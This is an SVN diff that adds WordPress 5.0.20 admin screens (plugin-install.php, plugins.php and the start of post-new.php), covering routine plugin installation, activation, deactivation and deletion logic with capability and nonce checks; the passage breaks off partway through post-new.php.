+if ( !defined( 'IFRAME_REQUEST' ) && isset( $_GET['tab'] ) && ( 'plugin-information' == $_GET['tab'] ) )
+	define( 'IFRAME_REQUEST', true );
+
+/**
+ * WordPress Administration Bootstrap.
+ */
+require_once( dirname( __FILE__ ) . '/admin.php' );
+
+if ( ! current_user_can('install_plugins') )
+	wp_die(__('Sorry, you are not allowed to install plugins on this site.'));
+
+if ( is_multisite() && ! is_network_admin() ) {
+	wp_redirect( network_admin_url( 'plugin-install.php' ) );
+	exit();
+}
+
+$wp_list_table = _get_list_table('WP_Plugin_Install_List_Table');
+$pagenum = $wp_list_table->get_pagenum();
+
+if ( ! empty( $_REQUEST['_wp_http_referer'] ) ) {
+	$location = remove_query_arg( '_wp_http_referer', wp_unslash( $_SERVER['REQUEST_URI'] ) );
+
+	if ( ! empty( $_REQUEST['paged'] ) ) {
+		$location = add_query_arg( 'paged', (int) $_REQUEST['paged'], $location );
+	}
+
+	wp_redirect( $location );
+	exit;
+}
+
+$wp_list_table->prepare_items();
+
+$total_pages = $wp_list_table->get_pagination_arg( 'total_pages' );
+
+if ( $pagenum > $total_pages && $total_pages > 0 ) {
+	wp_redirect( add_query_arg( 'paged', $total_pages ) );
+	exit;
+}
+
+$title = __( 'Add Plugins' );
+$parent_file = 'plugins.php';
+
+wp_enqueue_script( 'plugin-install' );
+if ( 'plugin-information' != $tab )
+	add_thickbox();
+
+$body_id = $tab;
+
+wp_enqueue_script( 'updates' );
+
+/**
+ * Fires before each tab on the Install Plugins screen is loaded.
+ *
+ * The dynamic portion of the action hook, `$tab`, allows for targeting
+ * individual tabs, for instance 'install_plugins_pre_plugin-information'.
+ *
+ * @since 2.7.0
+ */
+do_action( "install_plugins_pre_{$tab}" );
+
+/*
+ * Call the pre upload action on every non-upload plugin installation screen
+ * because the form is always displayed on these screens.
+ */
+if ( 'upload' !== $tab ) {
+	/** This action is documented in wp-admin/plugin-install.php */
+	do_action( 'install_plugins_pre_upload' );
+}
+
+get_current_screen()->add_help_tab( array(
+'id'		=> 'overview',
+'title'		=> __('Overview'),
+'content'	=>
+	'<p>' . sprintf( __('Plugins hook into WordPress to extend its functionality with custom features. Plugins are developed independently from the core WordPress application by thousands of developers all over the world. All plugins in the official <a href="%s">WordPress Plugin Directory</a> are compatible with the license WordPress uses.' ), __( 'https://wordpress.org/plugins/' ) ) . '</p>' .
+	'<p>' . __( 'You can find new plugins to install by searching or browsing the directory right here in your own Plugins section.' ) . ' <span id="live-search-desc" class="hide-if-no-js">' . __( 'The search results will be updated as you type.' ) . '</span></p>'
+
+) );
+get_current_screen()->add_help_tab( array(
+'id'		=> 'adding-plugins',
+'title'		=> __('Adding Plugins'),
+'content'	=>
+	'<p>' . __('If you know what you&#8217;re looking for, Search is your best bet. The Search screen has options to search the WordPress Plugin Directory for a particular Term, Author, or Tag. You can also search the directory by selecting popular tags. Tags in larger type mean more plugins have been labeled with that tag.') . '</p>' .
+	'<p>' . __( 'If you just want to get an idea of what&#8217;s available, you can browse Featured and Popular plugins by using the links above the plugins list. These sections rotate regularly.' ) . '</p>' .
+	'<p>' . __( 'You can also browse a user&#8217;s favorite plugins, by using the Favorites link above the plugins list and entering their WordPress.org username.' ) . '</p>' .
+	'<p>' . __( 'If you want to install a plugin that you&#8217;ve downloaded elsewhere, click the Upload Plugin button above the plugins list. You will be prompted to upload the .zip package, and once uploaded, you can activate the new plugin.' ) . '</p>'
+) );
+
+get_current_screen()->set_help_sidebar(
+	'<p><strong>' . __('For more information:') . '</strong></p>' .
+	'<p>' . __('<a href="https://codex.wordpress.org/Plugins_Add_New_Screen">Documentation on Installing Plugins</a>') . '</p>' .
+	'<p>' . __('<a href="https://wordpress.org/support/">Support Forums</a>') . '</p>'
+);
+
+get_current_screen()->set_screen_reader_content( array(
+	'heading_views'      => __( 'Filter plugins list' ),
+	'heading_pagination' => __( 'Plugins list navigation' ),
+	'heading_list'       => __( 'Plugins list' ),
+) );
+
+/**
+ * WordPress Administration Template Header.
+ */
+include(ABSPATH . 'wp-admin/admin-header.php');
+?>
+<div class="wrap <?php echo esc_attr( "plugin-install-tab-$tab" ); ?>">
+<h1 class="wp-heading-inline"><?php
+echo esc_html( $title );
+?></h1>
+
+<?php
+if ( ! empty( $tabs['upload'] ) && current_user_can( 'upload_plugins' ) ) {
+	printf( ' <a href="%s" class="upload-view-toggle page-title-action"><span class="upload">%s</span><span class="browse">%s</span></a>',
+		( 'upload' === $tab ) ? self_admin_url( 'plugin-install.php' ) : self_admin_url( 'plugin-install.php?tab=upload' ),
+		__( 'Upload Plugin' ),
+		__( 'Browse Plugins' )
+	);
+}
+?>
+
+<hr class="wp-header-end">
+
+<?php
+/*
+ * Output the upload plugin form on every non-upload plugin installation screen, so it can be
+ * displayed via JavaScript rather then opening up the devoted upload plugin page.
+ */
+if ( 'upload' !== $tab ) {
+	?>
+	<div class="upload-plugin-wrap">
+		<?php
+		/** This action is documented in wp-admin/plugin-install.php */
+		do_action( 'install_plugins_upload' );
+		?>
+	</div>
+	<?php
+	$wp_list_table->views();
+	echo '<br class="clear" />';
+}
+
+/**
+ * Fires after the plugins list table in each tab of the Install Plugins screen.
+ *
+ * The dynamic portion of the action hook, `$tab`, allows for targeting
+ * individual tabs, for instance 'install_plugins_plugin-information'.
+ *
+ * @since 2.7.0
+ *
+ * @param int $paged The current page number of the plugins list table.
+ */
+do_action( "install_plugins_{$tab}", $paged ); ?>
+
+	<span class="spinner"></span>
+</div>
+
+<?php
+wp_print_request_filesystem_credentials_modal();
+wp_print_admin_notice_templates();
+
+/**
+ * WordPress Administration Template Footer.
+ */
+include(ABSPATH . 'wp-admin/admin-footer.php');
Index: /tags/5.0.20/src/wp-admin/plugins.php
===================================================================
--- /tags/5.0.20/src/wp-admin/plugins.php	(revision 56912)
+++ /tags/5.0.20/src/wp-admin/plugins.php	(revision 56912)
@@ -0,0 +1,576 @@
+<?php
+/**
+ * Plugins administration panel.
+ *
+ * @package WordPress
+ * @subpackage Administration
+ */
+
+/** WordPress Administration Bootstrap */
+require_once( dirname( __FILE__ ) . '/admin.php' );
+
+if ( ! current_user_can('activate_plugins') )
+	wp_die( __( 'Sorry, you are not allowed to manage plugins for this site.' ) );
+
+$wp_list_table = _get_list_table('WP_Plugins_List_Table');
+$pagenum = $wp_list_table->get_pagenum();
+
+$action = $wp_list_table->current_action();
+
+$plugin = isset($_REQUEST['plugin']) ? wp_unslash( $_REQUEST['plugin'] ) : '';
+$s = isset($_REQUEST['s']) ? urlencode( wp_unslash( $_REQUEST['s'] ) ) : '';
+
+// Clean up request URI from temporary args for screen options/paging uri's to work as expected.
+$_SERVER['REQUEST_URI'] = remove_query_arg(array('error', 'deleted', 'activate', 'activate-multi', 'deactivate', 'deactivate-multi', '_error_nonce'), $_SERVER['REQUEST_URI']);
+
+wp_enqueue_script( 'updates' );
+
+if ( $action ) {
+
+	switch ( $action ) {
+		case 'activate':
+			if ( ! current_user_can( 'activate_plugin', $plugin ) ) {
+				wp_die( __( 'Sorry, you are not allowed to activate this plugin.' ) );
+			}
+
+			if ( is_multisite() && ! is_network_admin() && is_network_only_plugin( $plugin ) ) {
+				wp_redirect( self_admin_url("plugins.php?plugin_status=$status&paged=$page&s=$s") );
+				exit;
+			}
+
+			check_admin_referer('activate-plugin_' . $plugin);
+
+			$result = activate_plugin($plugin, self_admin_url('plugins.php?error=true&plugin=' . urlencode( $plugin ) ), is_network_admin() );
+			if ( is_wp_error( $result ) ) {
+				if ( 'unexpected_output' == $result->get_error_code() ) {
+					$redirect = self_admin_url('plugins.php?error=true&charsout=' . strlen($result->get_error_data()) . '&plugin=' . urlencode( $plugin ) . "&plugin_status=$status&paged=$page&s=$s");
+					wp_redirect(add_query_arg('_error_nonce', wp_create_nonce('plugin-activation-error_' . $plugin), $redirect));
+					exit;
+				} else {
+					wp_die($result);
+				}
+			}
+
+			if ( ! is_network_admin() ) {
+				$recent = (array) get_option( 'recently_activated' );
+				unset( $recent[ $plugin ] );
+				update_option( 'recently_activated', $recent );
+			} else {
+				$recent = (array) get_site_option( 'recently_activated' );
+				unset( $recent[ $plugin ] );
+				update_site_option( 'recently_activated', $recent );
+			}
+
+			if ( isset($_GET['from']) && 'import' == $_GET['from'] ) {
+				wp_redirect( self_admin_url("import.php?import=" . str_replace('-importer', '', dirname($plugin))) ); // overrides the ?error=true one above and redirects to the Imports page, stripping the -importer suffix
+			} else if ( isset($_GET['from']) && 'press-this' == $_GET['from'] ) {
+				wp_redirect( self_admin_url( "press-this.php") );
+			} else {
+				wp_redirect( self_admin_url("plugins.php?activate=true&plugin_status=$status&paged=$page&s=$s") ); // overrides the ?error=true one above
+			}
+			exit;
+
+		case 'activate-selected':
+			if ( ! current_user_can('activate_plugins') )
+				wp_die(__('Sorry, you are not allowed to activate plugins for this site.'));
+
+			check_admin_referer('bulk-plugins');
+
+			$plugins = isset( $_POST['checked'] ) ? (array) wp_unslash( $_POST['checked'] ) : array();
+
+			if ( is_network_admin() ) {
+				foreach ( $plugins as $i => $plugin ) {
+					// Only activate plugins which are not already network activated.
+					if ( is_plugin_active_for_network( $plugin ) ) {
+						unset( $plugins[ $i ] );
+					}
+				}
+			} else {
+				foreach ( $plugins as $i => $plugin ) {
+					// Only activate plugins which are not already active and are not network-only when on Multisite.
+					if ( is_plugin_active( $plugin ) || ( is_multisite() && is_network_only_plugin( $plugin ) ) ) {
+						unset( $plugins[ $i ] );
+					}
+					// Only activate plugins which the user can activate.
+					if ( ! current_user_can( 'activate_plugin', $plugin ) ) {
+						unset( $plugins[ $i ] );
+					}
+				}
+			}
+
+			if ( empty($plugins) ) {
+				wp_redirect( self_admin_url("plugins.php?plugin_status=$status&paged=$page&s=$s") );
+				exit;
+			}
+
+			activate_plugins($plugins, self_admin_url('plugins.php?error=true'), is_network_admin() );
+
+			if ( ! is_network_admin() ) {
+				$recent = (array) get_option('recently_activated' );
+			} else {
+				$recent = (array) get_site_option('recently_activated' );
+			}
+
+			foreach ( $plugins as $plugin ) {
+				unset( $recent[ $plugin ] );
+			}
+
+			if ( ! is_network_admin() ) {
+				update_option( 'recently_activated', $recent );
+			} else {
+				update_site_option( 'recently_activated', $recent );
+			}
+
+			wp_redirect( self_admin_url("plugins.php?activate-multi=true&plugin_status=$status&paged=$page&s=$s") );
+			exit;
+
+		case 'update-selected' :
+
+			check_admin_referer( 'bulk-plugins' );
+
+			if ( isset( $_GET['plugins'] ) )
+				$plugins = explode( ',', wp_unslash( $_GET['plugins'] ) );
+			elseif ( isset( $_POST['checked'] ) )
+				$plugins = (array) wp_unslash( $_POST['checked'] );
+			else
+				$plugins = array();
+
+			$title = __( 'Update Plugins' );
+			$parent_file = 'plugins.php';
+
+			wp_enqueue_script( 'updates' );
+			require_once(ABSPATH . 'wp-admin/admin-header.php');
+
+			echo '<div class="wrap">';
+			echo '<h1>' . esc_html( $title ) . '</h1>';
+
+			$url = self_admin_url('update.php?action=update-selected&amp;plugins=' . urlencode( join(',', $plugins) ));
+			$url = wp_nonce_url($url, 'bulk-update-plugins');
+
+			echo "<iframe src='$url' style='width: 100%; height:100%; min-height:850px;'></iframe>";
+			echo '</div>';
+			require_once(ABSPATH . 'wp-admin/admin-footer.php');
+			exit;
+
+		case 'error_scrape':
+			if ( ! current_user_can( 'activate_plugin', $plugin ) ) {
+				wp_die( __( 'Sorry, you are not allowed to activate this plugin.' ) );
+			}
+
+			check_admin_referer('plugin-activation-error_' . $plugin);
+
+			$valid = validate_plugin($plugin);
+			if ( is_wp_error($valid) )
+				wp_die($valid);
+
+			if ( ! WP_DEBUG ) {
+				error_reporting( E_CORE_ERROR | E_CORE_WARNING | E_COMPILE_ERROR | E_ERROR | E_WARNING | E_PARSE | E_USER_ERROR | E_USER_WARNING | E_RECOVERABLE_ERROR );
+			}
+
+			@ini_set('display_errors', true); //Ensure that Fatal errors are displayed.
+			// Go back to "sandbox" scope so we get the same errors as before
+			plugin_sandbox_scrape( $plugin );
+			/** This action is documented in wp-admin/includes/plugin.php */
+			do_action( "activate_{$plugin}" );
+			exit;
+
+		case 'deactivate':
+			if ( ! current_user_can( 'deactivate_plugin', $plugin ) ) {
+				wp_die( __( 'Sorry, you are not allowed to deactivate this plugin.' ) );
+			}
+
+			check_admin_referer('deactivate-plugin_' . $plugin);
+
+			if ( ! is_network_admin() && is_plugin_active_for_network( $plugin ) ) {
+				wp_redirect( self_admin_url("plugins.php?plugin_status=$status&paged=$page&s=$s") );
+				exit;
+			}
+
+			deactivate_plugins( $plugin, false, is_network_admin() );
+
+			if ( ! is_network_admin() ) {
+				update_option( 'recently_activated', array( $plugin => time() ) + (array) get_option( 'recently_activated' ) );
+			} else {
+				update_site_option( 'recently_activated', array( $plugin => time() ) + (array) get_site_option( 'recently_activated' ) );
+			}
+
+			if ( headers_sent() )
+				echo "<meta http-equiv='refresh' content='" . esc_attr( "0;url=plugins.php?deactivate=true&plugin_status=$status&paged=$page&s=$s" ) . "' />";
+			else
+				wp_redirect( self_admin_url("plugins.php?deactivate=true&plugin_status=$status&paged=$page&s=$s") );
+			exit;
+
+		case 'deactivate-selected':
+			if ( ! current_user_can( 'deactivate_plugins' ) ) {
+				wp_die(__('Sorry, you are not allowed to deactivate plugins for this site.'));
+			}
+
+			check_admin_referer('bulk-plugins');
+
+			$plugins = isset( $_POST['checked'] ) ? (array) wp_unslash( $_POST['checked'] ) : array();
+			// Do not deactivate plugins which are already deactivated.
+			if ( is_network_admin() ) {
+				$plugins = array_filter( $plugins, 'is_plugin_active_for_network' );
+			} else {
+				$plugins = array_filter( $plugins, 'is_plugin_active' );
+				$plugins = array_diff( $plugins, array_filter( $plugins, 'is_plugin_active_for_network' ) );
+
+				foreach ( $plugins as $i => $plugin ) {
+					// Only deactivate plugins which the user can deactivate.
+					if ( ! current_user_can( 'deactivate_plugin', $plugin ) ) {
+						unset( $plugins[ $i ] );
+					}
+				}
+
+			}
+			if ( empty($plugins) ) {
+				wp_redirect( self_admin_url("plugins.php?plugin_status=$status&paged=$page&s=$s") );
+				exit;
+			}
+
+			deactivate_plugins( $plugins, false, is_network_admin() );
+
+			$deactivated = array();
+			foreach ( $plugins as $plugin ) {
+				$deactivated[ $plugin ] = time();
+			}
+
+			if ( ! is_network_admin() ) {
+				update_option( 'recently_activated', $deactivated + (array) get_option( 'recently_activated' ) );
+			} else {
+				update_site_option( 'recently_activated', $deactivated + (array) get_site_option( 'recently_activated' ) );
+			}
+
+			wp_redirect( self_admin_url("plugins.php?deactivate-multi=true&plugin_status=$status&paged=$page&s=$s") );
+			exit;
+
+		case 'delete-selected':
+			if ( ! current_user_can('delete_plugins') ) {
+				wp_die(__('Sorry, you are not allowed to delete plugins for this site.'));
+			}
+
+			check_admin_referer('bulk-plugins');
+
+			//$_POST = from the plugin form; $_GET = from the FTP details screen.
+			$plugins = isset( $_REQUEST['checked'] ) ? (array) wp_unslash( $_REQUEST['checked'] ) : array();
+			if ( empty( $plugins ) ) {
+				wp_redirect( self_admin_url("plugins.php?plugin_status=$status&paged=$page&s=$s") );
+				exit;
+			}
+
+			$plugins = array_filter($plugins, 'is_plugin_inactive'); // Do not allow to delete Activated plugins.
+			if ( empty( $plugins ) ) {
+				wp_redirect( self_admin_url( "plugins.php?error=true&main=true&plugin_status=$status&paged=$page&s=$s" ) );
+				exit;
+			}
+
+			// Bail on all if any paths are invalid.
+			// validate_file() returns truthy for invalid files
+			$invalid_plugin_files = array_filter( $plugins, 'validate_file' );
+			if ( $invalid_plugin_files ) {
+				wp_redirect( self_admin_url("plugins.php?plugin_status=$status&paged=$page&s=$s") );
+				exit;
+			}
+
+			include(ABSPATH . 'wp-admin/update.php');
+
+			$parent_file = 'plugins.php';
+
+			if ( ! isset($_REQUEST['verify-delete']) ) {
+				wp_enqueue_script('jquery');
+				require_once(ABSPATH . 'wp-admin/admin-header.php');
+				?>
+			<div class="wrap">
+				<?php
+					$plugin_info = array();
+					$have_non_network_plugins = false;
+					foreach ( (array) $plugins as $plugin ) {
+						$plugin_slug = dirname( $plugin );
+
+						if ( '.' == $plugin_slug ) {
+							if ( $data = get_plugin_data( WP_PLUGIN_DIR . '/' . $plugin ) ) {
+								$plugin_info[ $plugin ] = $data;
+								$plugin_info[ $plugin ]['is_uninstallable'] = is_uninstallable_plugin( $plugin );
+								if ( ! $plugin_info[ $plugin ]['Network'] ) {
+									$have_non_network_plugins = true;
+								}
+							}
+						} else {
+							// Get plugins list from that folder.
+							if ( $folder_plugins = get_plugins( '/' . $plugin_slug ) ) {
+								foreach ( $folder_plugins as $plugin_file => $data ) {
+									$plugin_info[ $plugin_file ] = _get_plugin_data_markup_translate( $plugin_file, $data );
+									$plugin_info[ $plugin_file ]['is_uninstallable'] = is_uninstallable_plugin( $plugin );
+									if ( ! $plugin_info[ $plugin_file ]['Network'] ) {
+										$have_non_network_plugins = true;
+									}
+								}
+							}
+						}
+					}
+					$plugins_to_delete = count( $plugin_info );
+				?>
+				<?php if ( 1 == $plugins_to_delete ) : ?>
+					<h1><?php _e( 'Delete Plugin' ); ?></h1>
+					<?php if ( $have_non_network_plugins && is_network_admin() ) : ?>
+						<div class="error"><p><strong><?php _e( 'Caution:' ); ?></strong> <?php _e( 'This plugin may be active on other sites in the network.' ); ?></p></div>
+					<?php endif; ?>
+					<p><?php _e( 'You are about to remove the following plugin:' ); ?></p>
+				<?php else: ?>
+					<h1><?php _e( 'Delete Plugins' ); ?></h1>
+					<?php if ( $have_non_network_plugins && is_network_admin() ) : ?>
+						<div class="error"><p><strong><?php _e( 'Caution:' ); ?></strong> <?php _e( 'These plugins may be active on other sites in the network.' ); ?></p></div>
+					<?php endif; ?>
+					<p><?php _e( 'You are about to remove the following plugins:' ); ?></p>
+				<?php endif; ?>
+					<ul class="ul-disc">
+						<?php
+						$data_to_delete = false;
+						foreach ( $plugin_info as $plugin ) {
+							if ( $plugin['is_uninstallable'] ) {
+								/* translators: 1: plugin name, 2: plugin author */
+								echo '<li>', sprintf( __( '%1$s by %2$s (will also <strong>delete its data</strong>)' ), '<strong>' . $plugin['Name'] . '</strong>', '<em>' . $plugin['AuthorName'] . '</em>' ), '</li>';
+								$data_to_delete = true;
+							} else {
+								/* translators: 1: plugin name, 2: plugin author */
+								echo '<li>', sprintf( _x('%1$s by %2$s', 'plugin' ), '<strong>' . $plugin['Name'] . '</strong>', '<em>' . $plugin['AuthorName'] ) . '</em>', '</li>';
+							}
+						}
+						?>
+					</ul>
+				<p><?php
+				if ( $data_to_delete )
+					_e('Are you sure you wish to delete these files and data?');
+				else
+					_e('Are you sure you wish to delete these files?');
+				?></p>
+				<form method="post" action="<?php echo esc_url($_SERVER['REQUEST_URI']); ?>" style="display:inline;">
+					<input type="hidden" name="verify-delete" value="1" />
+					<input type="hidden" name="action" value="delete-selected" />
+					<?php
+						foreach ( (array) $plugins as $plugin ) {
+							echo '<input type="hidden" name="checked[]" value="' . esc_attr( $plugin ) . '" />';
+						}
+					?>
+					<?php wp_nonce_field('bulk-plugins') ?>
+					<?php submit_button( $data_to_delete ? __( 'Yes, delete these files and data' ) : __( 'Yes, delete these files' ), '', 'submit', false ); ?>
+				</form>
+				<?php
+				$referer = wp_get_referer();
+				?>
+				<form method="post" action="<?php echo $referer ? esc_url( $referer ) : ''; ?>" style="display:inline;">
+					<?php submit_button( __( 'No, return me to the plugin list' ), '', 'submit', false ); ?>
+				</form>
+			</div>
+				<?php
+				require_once(ABSPATH . 'wp-admin/admin-footer.php');
+				exit;
+			} else {
+				$plugins_to_delete = count( $plugins );
+			} // endif verify-delete
+
+			$delete_result = delete_plugins( $plugins );
+
+			set_transient('plugins_delete_result_' . $user_ID, $delete_result); //Store the result in a cache rather than a URL param due to object type & length
+			wp_redirect( self_admin_url("plugins.php?deleted=$plugins_to_delete&plugin_status=$status&paged=$page&s=$s") );
+			exit;
+
+		case 'clear-recent-list':
+			if ( ! is_network_admin() ) {
+				update_option( 'recently_activated', array() );
+			} else {
+				update_site_option( 'recently_activated', array() );
+			}
+			break;
+
+		default:
+			if ( isset( $_POST['checked'] ) ) {
+				check_admin_referer('bulk-plugins');
+				$plugins = isset( $_POST['checked'] ) ? (array) wp_unslash( $_POST['checked'] ) : array();
+				$sendback = wp_get_referer();
+
+				/** This action is documented in wp-admin/edit-comments.php */
+				$sendback = apply_filters( 'handle_bulk_actions-' . get_current_screen()->id, $sendback, $action, $plugins );
+				wp_safe_redirect( $sendback );
+				exit;
+			}
+			break;
+	}
+
+}
+
+$wp_list_table->prepare_items();
+
+wp_enqueue_script('plugin-install');
+add_thickbox();
+
+add_screen_option( 'per_page', array( 'default' => 999 ) );
+
+get_current_screen()->add_help_tab( array(
+'id'		=> 'overview',
+'title'		=> __('Overview'),
+'content'	=>
+	'<p>' . __('Plugins extend and expand the functionality of WordPress. Once a plugin is installed, you may activate it or deactivate it here.') . '</p>' .
+	'<p>' . __( 'The search for installed plugins will search for terms in their name, description, or author.' ) . ' <span id="live-search-desc" class="hide-if-no-js">' . __( 'The search results will be updated as you type.' ) . '</span></p>' .
+	'<p>' . sprintf(
+		/* translators: %s: WordPress Plugin Directory URL */
+		__( 'If you would like to see more plugins to choose from, click on the &#8220;Add New&#8221; button and you will be able to browse or search for additional plugins from the <a href="%s">WordPress Plugin Directory</a>. Plugins in the WordPress Plugin Directory are designed and developed by third parties, and are compatible with the license WordPress uses. Oh, and they&#8217;re free!' ),
+		__( 'https://wordpress.org/plugins/' )
+	) . '</p>'
+) );
+get_current_screen()->add_help_tab( array(
+'id'		=> 'compatibility-problems',
+'title'		=> __('Troubleshooting'),
+'content'	=>
+	'<p>' . __('Most of the time, plugins play nicely with the core of WordPress and with other plugins. Sometimes, though, a plugin&#8217;s code will get in the way of another plugin, causing compatibility issues. If your site starts doing strange things, this may be the problem. Try deactivating all your plugins and re-activating them in various combinations until you isolate which one(s) caused the issue.') . '</p>' .
+	'<p>' . sprintf(
+		/* translators: WP_PLUGIN_DIR constant value */
+		__( 'If something goes wrong with a plugin and you can&#8217;t use WordPress, delete or rename that file in the %s directory and it will be automatically deactivated.' ),
+		'<code>' . WP_PLUGIN_DIR . '</code>'
+	) . '</p>'
+) );
+
+get_current_screen()->set_help_sidebar(
+	'<p><strong>' . __('For more information:') . '</strong></p>' .
+	'<p>' . __('<a href="https://codex.wordpress.org/Managing_Plugins#Plugin_Management">Documentation on Managing Plugins</a>') . '</p>' .
+	'<p>' . __('<a href="https://wordpress.org/support/">Support Forums</a>') . '</p>'
+);
+
+get_current_screen()->set_screen_reader_content( array(
+	'heading_views'      => __( 'Filter plugins list' ),
+	'heading_pagination' => __( 'Plugins list navigation' ),
+	'heading_list'       => __( 'Plugins list' ),
+) );
+
+$title = __('Plugins');
+$parent_file = 'plugins.php';
+
+require_once(ABSPATH . 'wp-admin/admin-header.php');
+
+$invalid = validate_active_plugins();
+if ( ! empty( $invalid ) ) {
+	foreach ( $invalid as $plugin_file => $error ) {
+		echo '<div id="message" class="error"><p>';
+		printf(
+			/* translators: 1: plugin file 2: error message */
+			__( 'The plugin %1$s has been <strong>deactivated</strong> due to an error: %2$s' ),
+			'<code>' . esc_html( $plugin_file ) . '</code>',
+			esc_html( $error->get_error_message() ) );
+		echo '</p></div>';
+	}
+}
+?>
+
+<?php if ( isset($_GET['error']) ) :
+
+	if ( isset( $_GET['main'] ) )
+		$errmsg = __( 'You cannot delete a plugin while it is active on the main site.' );
+	elseif ( isset($_GET['charsout']) )
+		$errmsg = sprintf(__('The plugin generated %d characters of <strong>unexpected output</strong> during activation. If you notice &#8220;headers already sent&#8221; messages, problems with syndication feeds or other issues, try deactivating or removing this plugin.'), $_GET['charsout']);
+	else
+		$errmsg = __('Plugin could not be activated because it triggered a <strong>fatal error</strong>.');
+	?>
+	<div id="message" class="error"><p><?php echo $errmsg; ?></p>
+	<?php
+		if ( ! isset( $_GET['main'] ) && ! isset( $_GET['charsout'] ) && wp_verify_nonce( $_GET['_error_nonce'], 'plugin-activation-error_' . $plugin ) ) {
+			$iframe_url = add_query_arg( array(
+				'action'   => 'error_scrape',
+				'plugin'   => urlencode( $plugin ),
+				'_wpnonce' => urlencode( $_GET['_error_nonce'] ),
+			), admin_url( 'plugins.php' ) );
+		?>
+		<iframe style="border:0" width="100%" height="70px" src="<?php echo esc_url( $iframe_url ); ?>"></iframe>
+	<?php
+		}
+	?>
+	</div>
+<?php elseif ( isset($_GET['deleted']) ) :
+		$delete_result = get_transient( 'plugins_delete_result_' . $user_ID );
+		// Delete it once we're done.
+		delete_transient( 'plugins_delete_result_' . $user_ID );
+
+		if ( is_wp_error($delete_result) ) : ?>
+		<div id="message" class="error notice is-dismissible"><p><?php printf( __('Plugin could not be deleted due to an error: %s'), esc_html( $delete_result->get_error_message() ) ); ?></p></div>
+		<?php else : ?>
+		<div id="message" class="updated notice is-dismissible">
+			<p>
+				<?php
+				if ( 1 == (int) $_GET['deleted'] ) {
+					_e( 'The selected plugin has been <strong>deleted</strong>.' );
+				} else {
+					_e( 'The selected plugins have been <strong>deleted</strong>.' );
+				}
+				?>
+			</p>
+		</div>
+		<?php endif; ?>
+<?php elseif ( isset($_GET['activate']) ) : ?>
+	<div id="message" class="updated notice is-dismissible"><p><?php _e('Plugin <strong>activated</strong>.') ?></p></div>
+<?php elseif (isset($_GET['activate-multi'])) : ?>
+	<div id="message" class="updated notice is-dismissible"><p><?php _e('Selected plugins <strong>activated</strong>.'); ?></p></div>
+<?php elseif ( isset($_GET['deactivate']) ) : ?>
+	<div id="message" class="updated notice is-dismissible"><p><?php _e('Plugin <strong>deactivated</strong>.') ?></p></div>
+<?php elseif (isset($_GET['deactivate-multi'])) : ?>
+	<div id="message" class="updated notice is-dismissible"><p><?php _e('Selected plugins <strong>deactivated</strong>.'); ?></p></div>
+<?php elseif ( 'update-selected' == $action ) : ?>
+	<div id="message" class="updated notice is-dismissible"><p><?php _e('All selected plugins are up to date.'); ?></p></div>
+<?php endif; ?>
+
+<div class="wrap">
+<h1 class="wp-heading-inline"><?php
+echo esc_html( $title );
+?></h1>
+
+<?php
+if ( ( ! is_multisite() || is_network_admin() ) && current_user_can('install_plugins') ) { ?>
+	<a href="<?php echo self_admin_url( 'plugin-install.php' ); ?>" class="page-title-action"><?php echo esc_html_x( 'Add New', 'plugin' ); ?></a>
+<?php
+}
+
+if ( strlen( $s ) ) {
+	/* translators: %s: search keywords */
+	printf( '<span class="subtitle">' . __( 'Search results for &#8220;%s&#8221;' ) . '</span>', esc_html( urldecode( $s ) ) );
+}
+?>
+
+<hr class="wp-header-end">
+
+<?php
+/**
+ * Fires before the plugins list table is rendered.
+ *
+ * This hook also fires before the plugins list table is rendered in the Network Admin.
+ *
+ * Please note: The 'active' portion of the hook name does not refer to whether the current
+ * view is for active plugins, but rather all plugins actively-installed.
+ *
+ * @since 3.0.0
+ *
+ * @param array $plugins_all An array containing all installed plugins.
+ */
+do_action( 'pre_current_active_plugins', $plugins['all'] );
+?>
+
+<?php $wp_list_table->views(); ?>
+
+<form class="search-form search-plugins" method="get">
+<?php $wp_list_table->search_box( __( 'Search Installed Plugins' ), 'plugin' ); ?>
+</form>
+
+<form method="post" id="bulk-action-form">
+
+<input type="hidden" name="plugin_status" value="<?php echo esc_attr($status) ?>" />
+<input type="hidden" name="paged" value="<?php echo esc_attr($page) ?>" />
+
+<?php $wp_list_table->display(); ?>
+</form>
+
+	<span class="spinner"></span>
+</div>
+
+<?php
+wp_print_request_filesystem_credentials_modal();
+wp_print_admin_notice_templates();
+wp_print_update_row_templates();
+
+include(ABSPATH . 'wp-admin/admin-footer.php');
Index: /tags/5.0.20/src/wp-admin/post-new.php
===================================================================
--- /tags/5.0.20/src/wp-admin/post-new.php	(revision 56912)
+++ /tags/5.0.20/src/wp-admin/post-new.php	(revision 56912)
@@ -0,0 +1,83 @@
+<?php
+/**
+ * New Post Administration Screen.
+ *
+ * @package WordPress
+ * @subpackage Administration
+ */
+
+/** Load WordPress Administration Bootstrap */
+require_once( dirname( __FILE__ ) . '/admin.php' );
+
+/**
+ * @global string  $post_type
+ * @global object  $post_type_object
+ * @global WP_Post $post
+ */
+global $post_type, $post_type_object, $post;
+
+if ( ! isset( $_GET['post_type'] ) ) {
+	$post_type = 'post';
+} elseif ( in_array( $_GET['post_type'], get_post_types( array('show_ui' => true ) ) ) ) {
+	$post_type = $_GET['post_type'];
+} else {
+	wp_die( __( 'Invalid post type.' ) );
+}
+$post_type_object = get_post_type_object( $post_type );
+
+if ( 'post' == $post_type ) {
+	$parent_file = 'edit.php';
+	$submenu_file = 'post-new.php';
+} elseif ( 'attachment' == $post_type ) {
+	if ( wp_redirect( admin_url( 'media-new.php' ) ) )
+		exit;
+} else {
+	$submenu_file = "post-new.php?post_type=$post_type";
+	if ( isset( $post_type_object ) && $post_type_object->show_in_menu && $post_type_object->show_in_menu !== true ) {
+		$parent_file = $post_type_object->show_in_menu;
+		// What if there isn't a post-new.php item for this post type?
+		if ( ! isset( $_registered_pages[ get_plugin_page_hookname( "post-new.php?post_type=$post_type", $post_type_object->show_in_menu ) ] ) ) {
+			if (	isset( $_registered_pages[ get_plugin_page_hookname( "edit.php?post_type=$post_type", $post_type_object->show_in_menu ) ] ) ) {
+				// Fall back to edit.php for that post type, if it exists
+				$submenu_file = "edit.php?post_type=$post_type";
+			} else {
+				// Otherwise, give up and highlight the parent
+				$submenu_file = $parent_file;
+			}
+		}
+	} else {
+		$parent_file = "edit.php?post_type=$post_type";
+	}
+}
+
+$title = $post_type_object->labels->add_new_item;
+
+$editing = true;
+
+if ( ! current_user_can( $post_type_object->cap->edit_posts ) || ! current_user_can( $post_type_object->cap->create_posts ) ) {
+	wp_die(
+		'<h1>' . __( 'You need a higher level of permission.' ) . '</h1>' .
